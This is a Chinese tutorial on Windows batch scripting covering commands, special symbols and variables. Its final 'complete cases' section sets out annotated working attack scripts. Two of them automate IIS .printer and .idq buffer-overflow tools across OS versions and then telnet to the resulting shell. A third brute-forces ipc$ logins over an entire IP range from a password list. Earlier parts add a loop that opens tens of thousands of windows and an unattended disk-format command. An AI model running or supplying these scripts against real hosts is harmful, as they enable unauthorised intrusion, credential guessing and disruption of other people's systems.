批处理详细教程

第一部分：批处理的专用命令 ....................................................................................................... 2

1、 REM(注释) .......................................................................................................................... 2 2、 ECHO(回显命令) ................................................................................................................ 3 3、 GOTO(跳转) ........................................................................................................................ 3 4、CALL(调用另一个批处理) .................................................................................................. 3 5、PAUSE(停止) ........................................................................................................................ 4 6、 IF(判断) .............................................................................................................................. 4

1、 IF [NOT] ERRORLEVEL number command .................................................................. 5 2、 IF string1==string2 command ..................................................................................... 6 3、 IF [NOT] EXIST filename command ............................................................................. 6 7、 FOR(循环) ........................................................................................................................... 7

1 /d 仅为目录 ................................................................................................................ 7 2 /R 递归 .......................................................................................................................... 8 3 /L 迭代数值范围........................................................................................................... 9 4 /f 默认以每一行来作为一个元素 ............................................................................. 10

delims 用来告诉for每一行应该拿什么作为分隔符，默认的分隔符是空格和tab键 ...................................................................................................................... 12 tokens 当你通过delims将每一行分为更小的元素时，由它来控制要取哪一个或哪几个 ................................................................................................................. 12 skip就是要忽略文件的前多少行 ......................................................................... 14 eol用来指定当一行以什么符号开始时，就忽略它。 ....................................... 14

8、 SETLOCAL（ENDLOCAL ）（标记影响范围） .................................................................. 14 9、 SHIFT更改批处理文件中可替换参数的位置 ................................................................ 15 第二部分：特殊的符号与批处理 ................................................................................................. 16

1、 符号(@)关闭当前行的回显 ............................................................................................ 16 2、 符号(>)传递并覆盖 ......................................................................................................... 16 3、 符号(>>)传递并追加 ....................................................................................................... 17 4、 符号(|)将上一命令执行的结果传递给下一命令去处理 .............................................. 18 5、 符号(^)去掉><&的特殊功能 ........................................................................................... 19 6、 符号(&)允许在一行中使用2个以上不同的命令(出错可以继续) ............................... 19 7、 符号(&&)允许在一行中使用2个以上不同的命令(出错则停止) ................................ 19 8、 符号(\" \")允许在字符串中包含空格 ............................................................................... 19 9、 符号（,）相当于空格 ..................................................................................................... 20 10、 符号(;)当命令相同的时候可以将不同的目标用;隔离开来但执行效果不变。 ........ 20

1 / 31

第三部分：批处理与变量 ............................................................................................................. 20

1 %0~%9共10个变量 ........................................................................................................... 20 2 环境变量 ............................................................................................................................. 21 第四部分：完整案例 ..................................................................................................................... 23

例一......................................................................................................................................... 23 例二......................................................................................................................................... 26 例三......................................................................................................................................... 29 第五部分：参考内容 ..................................................................................................................... 30

1 判断两个值 ......................................................................................................................... 30

最近好多猜测弱口令的病毒在网上流行，比如前段时间闹得很厉害的

Worm.Dvldr 蠕虫就是一个典型。这些病毒有个共同点就是利用批处理来进行ipc$连接，从而来猜测管理员的口令达到控制服务器的目的。病毒由几个文件和几个复杂的批处理组成。批处理算不上真正意义上的编程，但是它的一些思想和编程比较近似。通过在网上和一些初学的朋友交流，发现他们对于批处理很感兴趣，多多少少了解一些命令的用法，但缺乏比较系统的了解，所以特意写下这篇教程，好让感兴趣的朋友对批处理有个整体的认识，并能通过该教程举一反三，写出自己的批处理。

该教程一共分为4大部分，第一部分是批处理的专用命令，第二部分是特殊的符号与批处理，第三部分是批处理与变量，第四部分是完整案例。

第一部分：批处理的专用命令

批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件，其扩展名为BAT。这些命令统称批处理命令，下面我就来给大家介绍一下批处理的命令。

1、 REM(注释)

REM 是个注释命令一般是用来给程序加上注解的，该命令后的内容在程序执行的时候将不会被显示和执行。例：

REM 你现在看到的就是注解，这一句将不会被执行。在以后的例子中解释的内容都REM 会放在REM后面。请大家注意。

2 / 31

2、 ECHO(回显命令)

ECHO 是一个回显命令主要参数有OFF和 ON,一般用ECHO message来显示一个特定的消息 。例： Echo off

Rem 以上代表关闭回显即不显示所执行的命令 Echo 这个就是消息。

Rem 以上代表显示“这就是消息”这列字符 执行结果： C:\\>ECHO.BAT 这个就是消息。

3、 GOTO(跳转)

GOTO 即为跳转的意思。在批处理中允许以“：XXX”来构建一个标号然后用GOTO ：标号直接来执行标号后的命令。例 :LABEL

REM 上面就是名为LABEL的标号。 DIR C:\\ DIR D:\\ GOTO LABEL

REM 以上程序跳转标号LABEL处继续执行。

4、CALL(调用另一个批处理)

CALL 命令可以在批处理执行过程中调用另一个批处理，当另一个批处理执行完后再继续执行原来的批处理。例： 批处理2.BAT内容如下：

3 / 31

ECHO 这就是2的内容 批处理1.BAT内容如下： ECHO 这是1的内容 CALL 2.BAT

ECHO 1和2的内容全部显示完成 执行结果如下： C:\\>1.BAT 这是1的内容 这就是2的内容

1和2的内容全部显示完成

5、PAUSE(停止)

PAUSE 停止系统命令的执行并显示下面的内容。例：C:\\> PAUSE

请按任意键继续 . . .

6、 IF(判断)

IF 条件判断语句，语法格式如下： IF [NOT] ERRORLEVEL number command IF [NOT] string1==string2 command IF [NOT] EXIST filename command 说明：

[NOT] 将返回的结果取反值即“如果没有”的意思。ERRORLEVEL 是命令执行完成后返回的退出值

4 / 31

Number 退出值的数字取值范围0~255。判断时值的排列顺序应该又大到小。返回的值大于或等于指定的值时条件成立。

string1==string2 string1和string2都为字符的数据，英文字符的大小写将看做不同，这个条件中的等于号必须是2个（绝对相等），条件想等后即执行后面的 command

EXIST filename 为文件或目录存在的意思。

IF ERRORLEVEL这条语句必须放在某一个命令后面。执行命令后由IF ERRORLEVEL来判断命令的返回值。 例：

1、 IF [NOT] ERRORLEVEL number command

检测命令执行完后的返回值做出判断。 echo off dir z:

rem 如果退出代码为1（不成功）就跳至标题1处执行 IF ERRORLEVEL 1 goto 1

rem 如果退出代码为0（成功）就跳至标题0处执行 IF ERRORLEVEL 0 goto 0 :0

echo 命令执行成功！

Rem 程序执行完毕跳至标题exit处退出 goto exit :1

echo 命令执行失败！

Rem 程序执行完毕跳至标题exit处退出 goto exit

5 / 31

:exit

Rem 这里是程序的出口

2、 IF string1==string2 command

检测当前变量的值做出判断 ECHO OFF IF 1==2 goto no Echo 变量相等！ Goto exit :no

echo 变量不相等 goto exit :exit

大家可以这样看效果 C:\\>test.bat 数字

3、 IF [NOT] EXIST filename command

发现特定的文件做出判断 echo off

IF not EXIST autoexec.bat goto 1 echo 文件存在成功！ goto exit :1

echo 文件不存在失败！ goto exit :exit

6 / 31

这个批处理大家可以放在c盘和d盘分别执行看看效果。

7、 FOR(循环)

FOR这条命令基本上都被用来处理文本,但还有其他一些好用的功能!

看看他的基本格式(这里我引用的是批处理中的格式,直接在命令行只需要一个%号)

FOR 参数 %%变量名 IN (相关文件或命令) DO 执行的命令 说明：

1参数:FOR有4个参数 /d /l /r /f 他们的作用我在下面用例子解释 2 %%变量名 :这个变量名可以是小写a-z或者大写A-Z,他们区分大小写,FOR会把每个读取到的值给他; 3 IN:命令的格式,照写就是了;

4 (相关文件或命令) :FOR要把什么东西读取然后赋值给变量,看下面的例子 5 do:命令的格式,照写就是了!

6 执行的命令:对每个变量的值要执行什么操作就写在这.

CMD下对for命令的解释

可以在CMD输入for /?看系统提供的帮助!对照一下

FOR %%variable IN (set) DO command [command-parameters] %%variable 指定一个单一字母可替换的参数。 (set) 指定一个或一组文件。可以使用通配符。 command 指定对每个文件执行的命令。

command-parameters 为特定命令指定参数或命令行开关。

现在开始讲每个参数的意思

1 /d 仅为目录

如果 Set (也就是我上面写的 \"相关文件或命令\") 包含通配符（* 和 ?），将对与 Set 相匹配的每个目录（而不是指定目录中的文件组）执行指定的 Command。

7 / 31

系统帮助的格式:FOR /D %%variable IN (set) DO command

他主要用于目录搜索,不会搜索文件,看这样的例子 @echo off

for /d %%i in (*) do @echo %%i pause

把他保存放在C盘根目录执行,就会把C盘目录下的全部目录名字打印出来,而文件名字一个也不显示!

在来一个,比如我们要把当前路径下文件夹的名字只有1-3个字母的打出来 @echo off

for /d %%i in (???) do @echo %%i pause

这样的话如果你当前目录下有目录名字只有1-3个字母的,就会显示出来,没有就不显示了

思考题目: @echo off

for /d %%i in (window?) do @echo %%i pause

保存到C盘下执行,会显示什么呢?自己看吧!

答案：显示前六位是window 第七位任意字符，的文件夹 /D参数只能显示当前目录下的目录名字,这个大家要注意!

2 /R 递归

进入根目录树 [Drive:]Path，在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录，则认为是当前目录。如果 Set 只是一个句点 (.)，则只枚举目录树。

系统帮助的格式:FOR /R [[drive:]path] %%variable IN (set) DO command

8 / 31

上面我们知道,/D只能显示当前路径下的目录名字,那么现在这个/R也是和目录有关,他能干嘛呢?放心他比/D强大多了!

他可以把当前或者你指定路径下的文件名字全部读取,注意是文件名字,有什么用看例子!

@echo off

for /r c:\\ %%i in (*.exe) do @echo %%i pause

咋们把这个BAT保存到D盘随便哪里然后执行,我会就会看到,他把C盘根目录,和每个目录的子目录下面全部

的EXE文件都列出来了,这里的c:\\就是目录了。

再来一个 @echo off

for /r %%i in (*.exe) do @echo %%i pause

参数不一样了，这个命令前面没加那个C:\\也就是搜索路径,这样他就会以当前目录为搜索路径,比如你这个BAT你把他放在d:\est目录下执行,那么他就会把D:\est目录和他下面的子目录的全部EXE文件列出来!!!

3 /L 迭代数值范围

语法是：

系统帮助的格式:for /L %% Variable in (Start#,Step#,End#) do Command 使用迭代变量设置起始值 (Start#)，然后逐步执行一组范围的值，直到该值超过所设置的终止值 (End#)。/L 将通过对 Start# 与 End# 进行比较来执行迭代变量。如果 Start#小于End#，就会执行该命令。

如果迭代变量超过 End#，则命令解释程序退出此循环。还可以使用负的Step# 以递减数值的方式逐步执行此范围内的值。

例如，(1,1,5) 生成序列 1 2 3 4 5，而 (5,-1,1) 则生成序列 (5 4 3 2 1)。 例如： @echo off

9 / 31

for /l %%i in (1,1,5) do @echo %%i pause

保存执行看效果,他会打印从1 2 3 4 5 这样5个数字 (1,1,5)这个参数也就是表示从1开始每次加1直到5终止!

再看这个例子 @echo off

for /l %%i in (1,1,5) do start cmd pause

执行后是不是吓了一跳,怎么多了5个CMD窗口,呵呵!

如果把那个 (1,1,5)改成 (1,1,65535)会有什么结果,

我先告诉大家,会打开65535个CMD窗口....这么多你不死机算你强!

当然我们也可以把那个start cmd改成md %%i 这样就会建立指定个目录了!!!名字为1-65535

看完这个被我赋予破坏性质的参数后,我们来看最后一个参数

4 /f 默认以每一行来作为一个元素

含有/F的for详细说明

含有/F的for有很大的用处，在批处理中使用的最多，用法如下： 格式：

FOR /F [\"options\"] %%i IN (file) DO command FOR /F [\"options\"] %%i IN (\"string\") DO command FOR /F [\"options\"] %%i IN ('command') DO command

这个可能是最常用的，也是最强的命令，主要用来处理文件和一些命令的输出结果。 file代表一个或多个文件 string 代表字符串 command代表命令 [\"options\"] 可选

对于FOR /F %%i IN (file) DO command

10 / 31

file为文件名，按照官方的说法是，for会依次将file中的文件打开，并且在进行到下一个文件之前将每个文件读取到内存，按照每一行分成一个一个的元素，忽略空白的行。

看个例子。 假如文件a.txt中有如下内容： 第1行第1列 第1行第2列 第1行第3列 第2行第1列 第2行第2列 第2行第3列 第3行第1列 第3行第2列 第3行第3列

你想显示a.txt中的内容，会用什么命令呢？当然是type，type a.txt for也可以完成同样的命令：

for /f %%i in (a.txt) do echo %%i

还是先从括号执行，因为含有参数/f,所以for会先打开a.txt，然后读出a.txt里面的所有内容，把它作为一个集合，并且以每一行作为一个元素，所以会产生这样的集合， {\"第1行第1列 第1行第2列 第1行第3列\"， //第一个元素 \"第2行第1列 第2行第2列 第2行第3列\"， //第二个元素 \"第3行第1列 第3行第2列 第3行第3列\第三个元素

集合中只有3个元素，同样用%%i依次代替每个元素，然后执行do后面的命令。 具体过程：

用%%i代替\"第1行第1列 第1行第2列 第1行第3列\"，执行do后面的echo %%i，显示\"第1行第1列 第1行第2列 第1行第3列\"，

用%%i代替\"第2行第1列 第2行第2列 第2行第3列\"，执行echo %%i，显示\"第2行第1列 第2行第2列 第2行第3列\"， 依次，直到每个元素都代替完为止。

为了加强理解/f的作用，请执行一下两个命令，对比即可明白：

for /f %%i in (a.txt) do echo %%i //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中 的内容。

for %%i in (a.txt) do echo %%i //而这个只会显示a.txt这个名字，并不会读取其中的内容。 通过上面的学习，我们发现for /f会默认以每一行来作为一个元素，但是如果我们还想把每一行再分解更小的内容，该怎么办呢？不用担心，for命令还为我们提供了更详细的参数，使我们将每一行分为更小的元素成为可能。

它们就是：delims和tokens

11 / 31

delims 用来告诉for每一行应该拿什么作为分隔符，默认的分隔符是空格和tab键

比如，还是上面的文件，我们执行下面的命令： for /f \"delims= \" %%i in (a.txt) do echo %%i 显示的结果是： 第1行第1列 第2行第1列 第3行第1列

为什么是这样的呢。因为这里有了delims这个参数，=后面有一个空格，意思是再将每个元素以空格分割，默认是只取分割之后的第一个元素。 执行过程是：

将第一个元素\"第1行第1列 第1行第2列 第1行第3列\"分成三个元素：\"第1行第1列\" \"第1行第2列\" \"第1行第3列\"，它默认只取第一个，即\"第1行第1列\"，然后执行do后面的命令，依次类推。

但是这样还是有局限的，如果我们想要每一行的第二列元素，那又如何呢？

tokens 当你通过delims将每一行分为更小的元素时，由它来控制要取哪一个或哪几个

这时候，tokens跳出来说，我能做到。

它的作用就是当你通过delims将每一行分为更小的元素时，由它来控制要取哪一个或哪几个。

还是上面的例子，执行如下命令：

for /f \"tokens=2 delims= \" %%i in (a.txt) do echo %%i 执行结果： 第1行第2列 第2行第2列 第3行第2列

如果要显示第三列，那就换成tokens=3。

12 / 31

同时tokens支持通配符*，以及限定范围。如果还有更多的则为：tokens=2-10之类的。

如果要显示第二列和第三列，则换成tokens=2,3或tokens=2-3,此时的命令为： for /f \"tokens=2,3 delims= \" %%i in (a.txt) do echo %%i %%j 怎么多出一个%%j？

这是因为你的tokens后面要取每一行的两列，用%%i来替换第二列，用%%j来替换第三列。 并且必须是按照英文字母顺序排列的，%%j不能换成%%k，因为i后面是j 执行结果为：

第1行第2列 第1行第3列 第2行第2列 第2行第3列 第3行第2列 第3行第3列

对以通配符*，就是把这一行全部或者这一行的剩余部分当作一个元素了。 比如：

for /f \"tokens=* delims= \" %%i in (a.txt) do echo %%i 执行结果为：

第1行第1列 第1行第2列 第1行第3列 第2行第1列 第2行第2列 第2行第3列 第3行第1列 第3行第2列 第3行第3列

其实就跟for /f %%i in (a.txt) do echo %%i的执行结果是一样的。 再如：

for /f \"tokens=2,* delims= \" %%i in (a.txt) do echo %%i %%j 执行结果为：

第1行第2列 第1行第3列 第2行第2列 第2行第3列 第3行第2列 第3行第3列

用%%i代替第二列，用%%j代替剩余的所有

最后还有skip合eol，这俩个简单，skip就是要忽略文件的前多少行，而eol用来指定当一行以什么符号开始时，就忽略它。

13 / 31

skip就是要忽略文件的前多少行

比如：

for /f \"skip=2 tokens=*\" %%i in (a.txt) do echo %%i 结果为:

第3行第1列 第3行第2列 第3行第3列 用skip来告诉for跳过前两行。

如果不加tokens=*的话，执行结果为： 第3行第1列 不知道怎么回事。

这是因为不标明取所有的话，则只取第一个元素.

eol用来指定当一行以什么符号开始时，就忽略它。

再如，当a.txt内容变成：

.第1行第1列 第1行第2列 第1行第3列 .第2行第1列 第2行第2列 第2行第3列 第3行第1列 第3行第2列 第3行第3列

执行for /f \"eol=. tokens=*\" %%i in (a.txt) do echo %%i结果是： 第3行第1列 第3行第2列 第3行第3列 用eol来告诉for忽略以\".\"开头的行。

同样也必须加tokens=*，否则只会显示\"第3行第1列\"

8、 SETLOCAL（ENDLOCAL ）（标记影响范围）

setlocal和endlocal命令执行结果是让中间的程序对于系统变量的改变只在程序内起作用，不会影响整个系统级别。

开始批处理文件中环境改动的本地化操作。在执行 SETLOCAL 之后所做的环境改动只限于批处理文件。要还原原先的设置，必须执行 ENDLOCAL。 达到批处理文

14 / 31

件结尾时，对于该批处理文件的每个尚未执行的 SETLOCAL 命令，都会有一个隐含的 ENDLOCAL 被执行。 例： @ECHO OFF

SET PATH /*察看环境变量PATH PAUSE SETLOCAL

SET PATH=E:\\TOOLS /*重新设置环境变量PATH SET PATH PAUSE ENDLOCAL SET PATH

从上例我们可以看到环境变量PATH第1次被显示得时候是系统默认路径。被设置成了E:\\TOOLS后显示为E:\\TOOLS但当ENDLOCAL后我们可以看到他又被还原成了系统的默认路径。

但这个设置只在该批处理运行的时候有作用。当批处理运行完成后环境变量PATH将会还原。

9、 SHIFT更改批处理文件中可替换参数的位置

SHIFT [/n]

如果命令扩展被启用，SHIFT 命令支持/n 命令行开关；该命令行开关告诉 命令从第 n 个参数开始移位；n 介于零和八之间。

例如: SHIFT /2

会将 %3 移位到 %2，将 %4 移位到 %3，等等；并且不影响 %0 和 %1。

SHIFT命令可以让在命令上的的命令使用超过10个（%0~%9）以上的可替代参数

15 / 31

例：

ECHO OFF

ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9 SHIFT

ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9 SHIFT

ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9 执行结果如下：

C::\\>SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11 1 2 3 4 5 6 7 8 9 2 3 4 5 6 7 8 9 10 3 4 5 6 7 8 9 10 11

以上就是基于WIN2000下的9个批处理命令。

第二部分：特殊的符号与批处理

在命令行下有些符号是不允许使用的但有些符号却有着特殊的意义。

1、 符号(@)关闭当前行的回显

@在批处理中的意思是关闭当前行的回显。我们从上面知道用命令echo off可以关掉整个批处理的命令回显但却不能不显示echo off这个命令。现在我们在这个命令前加上@这样echo off这一命令就被@关闭了回显从而达到所有命令均不回显得要求

2、 符号(>)传递并覆盖

>的意思是传递并覆盖。他所起的作用是将运行后的回显结果传递到后面的范围（后面可是文件也可是默认的系统控制台）例： 文件1.txt的文件内容为： 1+1

使用命令c:\\>dir *.txt >1.txt 这时候1.txt的内容如下

16 / 31

驱动器 C 中的卷没有标签。 卷的序列号是 301A-1508 C:\\ 的目录

2003-03-11 14:04 1,005 FRUNLOG.TXT 2003-04-04 16:38 18,598,494 log.txt 2003-04-04 17:02 5 1.txt

2003-03-12 11:43 0 aierrorlog.txt 2003-03-30 00:35 30,571 202.108.txt 5 个文件 18,630,070 字节

0 个目录 1,191,542,784 可用字节 >将命令执行的结果覆盖了原始的文件内容。

在传递给控制台的时候程序将不会有任何回显（注意：这里的回显跟echo off关掉的回显不是同一概念。Echo off关掉的是输入命令的回显，这里的回显是程序执行中或后的回显）例： C:\\>dir *.txt >nul

程序将没有任何显示也不会产生任何痕迹。

3、 符号(>>)传递并追加

符号>>的作用与符号>相似，但他们的区别在于>>是传递并在文件末尾追加>>也可将回显传递给控制台（用法同上）例： 文件1.txt内同为： 1+1

使用命令c:\\>dir *.txt >>1.txt 这时候1.txt的内容如下 1+1

17 / 31

驱动器 C 中的卷没有标签。 卷的序列号是 301A-1508 C:\\ 的目录

2003-03-11 14:04 1,005 FRUNLOG.TXT 2003-04-04 16:38 18,598,494 log.txt 2003-04-04 17:02 5 1.txt

2003-03-12 11:43 0 aierrorlog.txt 2003-03-30 00:35 30,571 202.108.txt 5 个文件 18,630,070 字节

0 个目录 1,191,542,784 可用字节

>>将命令执行的结果覆加在了原始的文件内容后面。

4、 符号(|)将上一命令执行的结果传递给下一命令去处理

|是一个管道传输命令意思是将上一命令执行的结果传递给下一命令去处理。例： C:\\>dir c:\\|find \"1508\" 卷的序列号是 301A-1508

以上命令的意思为查找c:\\的所有并发现1508字符串。 Find的用法请用 find /?自行查看

在不使用format的自动格式化参数的时候我是这样来自动格式化盘片的 echo y|format a: /s /q /v:system

用过format命令的人都知道format有一个交互对化过程，要使用者输入y来确定当前的命令是否被执行。在这个命令前加上echo y并用管道传输符|将echo执行的结果y传递给format从而达到手工输入y的目的（这条命令有危害性，测试的时候请谨慎）

18 / 31

5、 符号(^)去掉><&的特殊功能

^ 是对特殊符号 > 、<、 &、的前导字符。在命令中他将以上的3个符号的特殊动能去掉仅仅只吧他们当成符号而不使用他们的特殊意义。例： c:\\>echo test ^> 1.txt test > 1.txt

从上面可以看出并没有把test写入文件1.txt而是将test >1.txt 当字符串显示了出来。

这个符号在远程构建批处理的时候很有效果。

6、 符号(&)允许在一行中使用2个以上不同的命令(出错可以继续)

&符号允许在一行中使用2个以上不同的命令，当第一个命令执行失败将不影响第2个命令的执行。例：

c:\\> dir z:\\ &dir y:\\ &dir c:\\

以上的命令将会连续显示z: y: c:盘内的内容不理会该盘符是否存在。

7、 符号(&&)允许在一行中使用2个以上不同的命令(出错则停止)

&&符号也是允许在一行中使用2个以上不同的命令，当第一个命令执行失败后后续的命令将不会再被执行。例： c:\\> dir z:\\ &&dir y:\\ &&dir c:\\

以上的命令将会提示检查是否存在z:盘如果存在则执行，如果不存在则停止执行所有的后续命令

8、 符号(\" \")允许在字符串中包含空格

\" \"符号允许在字符串中包含空格。进入一个特殊的目录可以用如下方法例: c:\\>cd “Program Files”

19 / 31

c:\\>cd progra~1 c:\\>cd pro*

以上方法都可以进入Program Files目录

9、 符号（,）相当于空格

,符号相当于空格。在某些特殊的情况下可以用,来代替空格使用。例： c:\\>dir,c:\\

10、 符号(;)当命令相同的时候可以将不同的目标用;隔离开来但执行效果不变。

;符号当命令相同的时候可以将不同的目标用;隔离开来但执行效果不变。如执行过程中发生错误则只返回错误报告但程序还是会继续执行。例： DIR C:\\;D:\\;E:\\F:\\ 以上的命令相当于 DIR C:\\ DIR D:\\ DIR E:\\ DIR F:\\

当然还有些特殊的符号但他们的使用范围很小我就不再这里一一的说明了。

第三部分：批处理与变量

1 %0~%9共10个变量

在批处理中适当的引用变量将会使你所编制的程序应用面更广。批处理每次能处理的变量从%0~%9共10个。

其中%0默认给批处理的文件名使用。

20 / 31

除非在使用SHIFT命令后%0才能被%1所替代。

引用shift命令的例子如果把%1前面多加上一个%0那么结果如下： C::\\>SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11 SHIFT.BAT 1 2 3 4 5 6 7 8 9 1 2 3 4 5 6 7 8 9 10 2 3 4 5 6 7 8 9 10 11

系统是如何区分每个变量的呢，系统区分变量的规则为字符串中间的空格，即只要发现空格就把空格前面的字符当作一个变量而空格后面的字符则作为另一个变量。如果你的变量是一个当中包含空格的长目录名这时候你需要用上一节特殊符号8中所用的引号将他圈起来。例： 包含空格的长目录名 批处理内容为： ECHO %1 ECHO %2 ECHO %3 输入命令：

C:\\>TEST “Program Files” Program Files Program Files Program Files

2 环境变量

在一个复杂的批处理中又可能同时使用的变量会超过10个这时候会和系统的规则想冲突那么这个问题怎么解决呢？在系统中还有一种变量称之为环境变量（使用SET命令可以查看当前系统的环境变量）如当前系统目录是%windir%

或%SystemRoot%等。当同时使用的参数超过10个的时候，我们可以把某些在后面的程序中还要调用的变量保存为环境变量。

21 / 31

具体用法如 SET A=%1 这样我们就命名了一个新的环境变量A 在调用变量A的时候要%A%这样调用，环境变量不受SHIFT命令影响。 如果要改变一个环境变量需要重新对其设置才能改变。当然也可以进行变量与变量之间的传递来达到目的。

下面我们来看一个例子，批处理如下： ECHO OFF SET PASS=%1 SHIFT SET PASS1=%1 SHIFT

ECHO %PASS% %PASS1% %1 %2 %3 %4 %5 %6 %7 %8 %9 SHIFT

ECHO %PASS% %PASS1% %9 SET PASS=%PASS1% 变量的传递 SET PASS1=%9 SHIFT

ECHO %PASS% %PASS1% %9

使用命令：C:\\>TEST A B 3 4 5 6 7 8 9 10 K L A B 3 4 5 6 7 8 9 10 K 注意：这一行显示了11个变量 A B L 在使用了3次SHIFT之后%9变成了L B L 变量的传递后的结果

22 / 31

第四部分：完整案例

以上就是批处理的一些用法。现在我们把这些用法结合起来详细的分析一下目前网上发布的一些批处理，看看他们是怎么运作的。这里我将列举三个例子来详细分析，为了保持程序的完整我的注释会加在/*后面。

例一

这个例子是利用iis5hack.exe对有.printer漏洞的主机进行溢出的批处理。用到的程序有iis5hack.exe和系统自带的telnet.exe。iis5hack的命令格式为： iis5hack <目标ip> <目标端口> <目标版本> <溢出连接端口>目标版本为0-9这10个数字分别对应不同语言版本和sp的系统版本，我们编制的批处理使用的命令格式为 开始版本号可有可无。程序如下。

@echo off /*关闭命令回显

if \"%1%\"==\"\" goto help /*判断%1是否为空，%1为目标ip if \"%2%\"==\"1\" goto 1 /*判断%2是否为1，为1则跳转标志1 if \"%2%\"==\"2\" goto 2 /*%2为开始版本号，如果没有设置则 if \"%2%\"==\"3\" goto 3 /*如果存在则从匹配的地方开始执行 if \"%2%\"==\"4\" goto 4 if \"%2%\"==\"5\" goto 5 if \"%2%\"==\"6\" goto 6 if \"%2%\"==\"7\" goto 7 if \"%2%\"==\"8\" goto 8

if not EXIST iis5hack.exe goto file /*没有发现iis5hack.exe就执行标志file段内容

ping %1 -n 1 | find \"Received = 1\" /*ping目标1次，从结果中发现Received = 1

if errorlevel 1 goto error /*如果返回代码为1则执行error段(代码1为没有发现 0为发现并成功执行)

23 / 31

iis5hack %1 80 9 88 | find \"good\" /*开始溢出目标端口80 系统代码9 溢出后连接端口88 在执行结果中发现字符串”good”(溢出成功后才会有字符串good)

if not errorlevel 1 goto telnet /*如果没有错误代码1（溢出成功）就执行telnet段的内容。

echo 操作系统类型 9 失败! /否则显示这一句 :8 /*以下代码内容参照上面

iis5hack %1 80 8 88 | find \"good\" if not errorlevel 1 goto telnet echo 操作系统类型 8 失败! :7

iis5hack %1 80 7 88 | find \"good\" if not errorlevel 1 goto telnet echo 操作系统类型 7 失败! :6

iis5hack %1 80 6 88 | find \"good\" if not errorlevel 1 goto telnet echo 操作系统类型 6 失败! :5

iis5hack %1 80 5 88 | find \"good\" if not errorlevel 1 goto telnet echo 操作系统类型 5 失败! :4

iis5hack %1 80 4 88 | find \"good\" if not errorlevel 1 goto telnet

24 / 31

echo 操作系统类型 4 失败! :3

iis5hack %1 80 3 88 | find \"good\" if not errorlevel 1 goto telnet echo 操作系统类型 3 失败! :2

iis5hack %1 80 2 88 | find \"good\" if not errorlevel 1 goto telnet echo 操作系统类型 2 失败! :1

iis5hack %1 80 1 88 | find \"good\" if not errorlevel 1 goto telnet echo 操作系统类型 1 失败! :0

iis5hack %1 80 0 88 | find \"good\" if not errorlevel 1 goto telnet echo 操作系统类型 0 失败! goto error :telnet

telnet %1 88 /*开始连接目标ip的88端口 goto exit /*连接中断后跳转exit段 :error /*error段显示错误后的帮助信息

echo 可能网络不能连接或者对方以修补该漏洞!请按照下面的格式手工尝试一次!

25 / 31

echo iis5hack [目标IP] [WEB端口] [系统类型] [开放端口] ECHO 中文: 0 ECHO 中文+sp1: 1 ECHO 英文: 2 ECHO 英文+sp1: 3 ECHO 日语: 4 ECHO 日语+sp1: 5 ECHO 韩文: 6 ECHO 韩文+sp1: 7 ECHO 墨西哥语: 8 ECHO 墨西哥语+sp1: 9 goto exit /*跳转exit段

:file /*file段显示文件没有发现的信息 echo 文件iis5hack.exe没有发现!程序终止运行! goto exit /*跳转exit段

:help /*help段显示本批处理的使用格式帮助 echo 本程序用法如下: echo iis [目标ip]

echo iis [目标ip] [开始的号码9-0] :exit /*exit段为程序出口

这个批处理基本没有什么循环只是一路走下来。所以代码比较长难度不大！

例二

这个例子是用iisidq.exe对有idq漏洞的机器进行溢出的批处理。使用的程序有iisidq.exe和系统自带的程序telnet.exe。iisidq.exe的用法如下：

26 / 31

运行参数: 操作系统类型 目的地址 web端口 1 溢出监听端口 <输入命令1> 其中,如果输入命令参数没有输入,那么,默认为:\"cmd.exe\"。

其中操作系统类型类型的代码范围是0-14。我们编制的批处理使用的命令格式为 程序如下： @echo off /*同例一

if not EXIST iisidq.exe goto file /*同例一 if %1 == \"\" goto error /*同例一

ping %1 -n 1 | find \"Received = 1\" /*同例一 if errorlevel 1 goto error1 /*同例一

set b=%1 /*创建一个环境变量b,将变量%1的内容传递给环境变量b。变量b的内容以后将是目标ip

set a=0 /*创建一个环境变量a并指定环境变量a为0。由于使用整个批处理的循环所以用a来做计数器。 :no /*no段开始

if %a%==0 set d=0 /*如果环境变量a=0则创建环境变量d设定环境变量d=0。 if %a%==1 set d=1 /*环境变量d其实是操作系统类型代码，用计数器来控制其 if %a%==2 set d=2 /*变动。 if %a%==3 set d=3 if %a%==4 set d=4 if %a%==5 set d=5 if %a%==6 set d=6 if %a%==7 set d=7 if %a%==9 set d=9 if %a%==10 set d=13 if %a%==11 set d=14

27 / 31

goto 0 /*变量传递完成后转到标志0处运行 :1

echo 正在执行第%d%项!与目标%b%不能连接!正在尝试连接请等候...... :0 /*标志0开始

IISIDQ %d% %b% 80 1 99 |find \"good\" /*按格式发送溢出命令并在结果中发现字符串good（发送代码成功才会有字符串good）

if errorlevel 1 goto 1 /*如果没有good字符串则没有发送成跳 /*转标志1处继续尝试发送

ping 127.0.0.1 -n 8 >nul /*ping自己8次相当于延时8秒不显示执 /*行结果

echo 正在执行第%d%项! /*报告正在溢出的操作系统类型 telnet %b% 99 /*连接溢出端口 echo. /*显示一个空行

if %d%==14 goto error1 /*如果操作系统类型为14则跳转error1处（循环出口）

if %d%==13 set a=11 /*开始用计数器对操作系统代码重新附值 if %d%==9 set a=10 if %d%==7 set a=9 if %d%==6 set a=7 if %d%==5 set a=6 if %d%==4 set a=5 if %d%==3 set a=4 if %d%==2 set a=3 if %d%==1 set a=2

28 / 31

if %d%==0 set a=1

goto no /*附值完成跳转no段执行 :file /*以下都是出错后的帮助提示

echo IIsidq.exe没有发现!将该文件和本文件放在同一目录! goto exit :error

echo 错误!目标ip不可识别!请使用下面的格式连接! echo idq [目标IP] goto exit :error1

echo 连接没有成功!可能目标机器已经修补了该漏洞或者网络故障所至! echo 请按照下面的格式手工尝试!

echo iisidq [目标类型] [目标IP] [目标端口] [连接方式] [溢出端口] echo telnet [目标ip] [溢出端口] :exit /*整个程序的出口

这个批处理采用的整体循环掌握好计数器部分就掌握了这个批处理。

例三

for /l %%a in (0,1,255) do for /l %%b in (0,1,255) do for /l %%c in (1,1,254) do for /f \"tokens=1,2*\" %%e in (userpass.txt) do net use \\\\%1.%%a.%%b.%%c\\ipc$ %%e /u:%%f

